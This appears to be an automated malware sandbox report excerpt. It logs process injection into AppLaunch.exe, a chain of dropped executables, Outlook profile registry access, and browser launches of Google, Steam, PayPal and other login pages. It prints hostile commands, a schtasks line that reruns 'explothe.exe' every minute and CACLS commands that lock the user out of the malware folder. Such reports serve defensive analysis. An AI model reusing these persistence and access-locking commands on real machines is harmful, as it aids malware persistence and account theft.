PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1712 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe
PID 1712 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe
PID 1712 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe
PID 2744 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe
PID 2744 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe
PID 2744 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4516 wrote to memory of 3928 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4560 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe
PID 4560 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe
PID 4560 wrote to memory of 1384 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe
PID 1384 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
PID 1384 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
PID 1384 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
PID 4392 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe
PID 4392 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe
PID 4392 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe
PID 3204 wrote to memory of 4480 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe
PID 3204 wrote to memory of 4480 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Temp\AC53.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\file.exe

"C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4576 -ip 4576

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4576 -s 548

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1085.tmp\1086.tmp\1087.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:R" /E

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x178,0x17c,0x180,0x154,0x184,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x178,0x17c,0x180,0x154,0x184,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2196,4795853036460555845,10803816120865322784,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2196,4795853036460555845,10803816120865322784,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2232 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,11981951219241467236,497923210770075575,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,11981951219241467236,497923210770075575,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,5147924695337981190,16164254407100859981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,5147924695337981190,16164254407100859981,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2928 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3868 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2276 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4256 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4384 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,17093014163259167008,446120516387246293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5780 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5944 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4772 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6268 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff92d7846f8,0x7ff92d784708,0x7ff92d784718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

